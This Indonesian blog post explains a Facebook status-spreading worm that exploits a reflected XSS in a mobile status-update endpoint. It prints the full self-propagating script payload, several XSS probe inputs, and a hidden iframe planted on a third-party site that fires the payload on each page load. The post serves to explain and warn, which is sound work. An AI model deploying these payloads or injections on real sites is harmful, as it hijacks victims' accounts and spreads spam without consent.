Hari ini saya menyadari ada yang tidak
beres dengan status teman-teman facebook saya. Banyak yang mendadak
statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa
gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik
penyebaran status berantai tersebut.
Analisa
Mari kita mulai analisa kita dengan
mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini
adalah url versi pendek yang bila diklik akan melakukan redirect ke url
aslinya, yaitu:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
URL tersebut akan saya pecah menjadi 3 bagian:
-
http://m.facebook.com/connect/prompt_feed.php
-
?display=wap&user_message_prompt=
-
'<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagian pertama adalah URL untuk update
status. Bagian kedua adalah query string parameter yang terdiri dari
dua parameter, yaitu display dan user_message_prompt. Bagian ketiga
adalah isi dari parameter user_message_prompt yang merupakan payload
javascript untuk mengubah status secara otomatis.
The Prompt
Sebelum masuk lebih jauh membahas
payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk
mengubah status ini. Gambar ini adalah screenshot ketika browser
membuka URL:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status
Dari gambar di atas kini kita memahami fungsi dari parameter
user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user
mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi
judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”,
“Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan
mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan
perhatikan apa yang terjadi.
Reflected Cross Site Scripting
Normalnya user_message_prompt diisi
dengan murni teks saja berupa instruksi/petunjuk apa yang harus
diinputkan user. Bila parameter user_message_prompt berisi teks murni
saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila
parameter tersebut diisi dengan kode HTML atau javascript?
Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<font color=red><h1>Hello!!</h1></font>
Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtE9Iou_ha6Ktf4_6jMxCLWqWTOvg_dvS0JJGD-xJbr04VLg7WiSJIPdoZ9jduXs9jvyA3TUPOJGGlFla4feIkTPUX9Ug03zpUQckzoGaVGNNC9De8tjG9Sko201ppVaeLemY0x_-UY1k/s320/Hacked.jpg"/>
Bagaimana bila user_message_prompt
tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript?
Mari kita coba memasukkan javascript sederhana berikut ini:
<script>prompt("Enter your PIN");</script>
Kita sudah melihat bagaimana
user_message_prompt tidak hanya bisa diisi dengan normal teks, namun
juga bisa diisi dengan kode HTML dan javascript yang dieksekusi
browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site
Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan
dalam URL “dipantulkan” kembali sebagai response HTTP).
The Payload
Dalam contoh sebelumnya kita mencoba
memasukkan javascript sederhana yang hanya menampilkan prompt input
kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir
apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai
yang serius seperti seperti mencuri cookie korban atau take-over
komputer korban dengan mengeksploitasi kelemahan pada browsernya.
Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan
payload apa saja yang dia inginkan seperti mengubah status, mencuri
cookie dsb.
Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:
user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter
single-quote (‘) sebelum tag script? Perlukah karakter single-quote
ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang
membuat url sejenis ini dalam payloadnya selalu ada karakter
single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan
saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh
orang lain memakai single-quote, maka diapun ikut memakai single-quote.
Payload untuk mengubah status
sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah
status di facebook secara otomatis:
Onload adalah event yang terjadi bila
suatu halaman web selesai di-load. Baris pertama pada kode di atas
artinya meminta browser untuk mengeksekusi sebuah fungsi secara
otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud
terdiri dari dua baris kode sederhana untuk mengubah nilai textarea
message dan melakukan submit form.
Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.
Langkah terakhir adalah memanggil
fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara
untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi
message dengan isi status, lalu submit, status pun selesai diubah.
Varian Lain dengan IFRAME
Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih
berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah
melakukan pengubahan status berulang kali. Salah satu teman facebook
saya menjadi korban freesmsvoip.com sampai berkali-kali.
Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.
<iframe id="CrazyDaVinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}</script>"></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis</title> <meta name="description" content="Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet" />
Perhatikan pada baris pertama ada tag
iframe dengan src yang juga mengeksploitasi XSS vulnerability pada
m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada
pada halaman depan saja, namun pada setiap halaman di web tersebut.
Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya
kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka
dia akan melakukan update status berkali-kali.
Berbeda dengan kasus yang memakai jasa
pemendek url seperti tinyurl.com, serangan memakai iframe bisa
dilekatkan pada halaman web yang tampak normal, baik hati dan tidak
sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener,
orang akan semakin curiga bila menerima link yang dipendekkan karena
user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang
dipendekkan kini mirip dengan menerima paket yang tidak jelas apa
isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang,
orang cenderung tidak curiga bila menerima url panjang, apalagi
domainnya tampak seperti situs baik-baik.
Tidak ada komentar:
Posting Komentar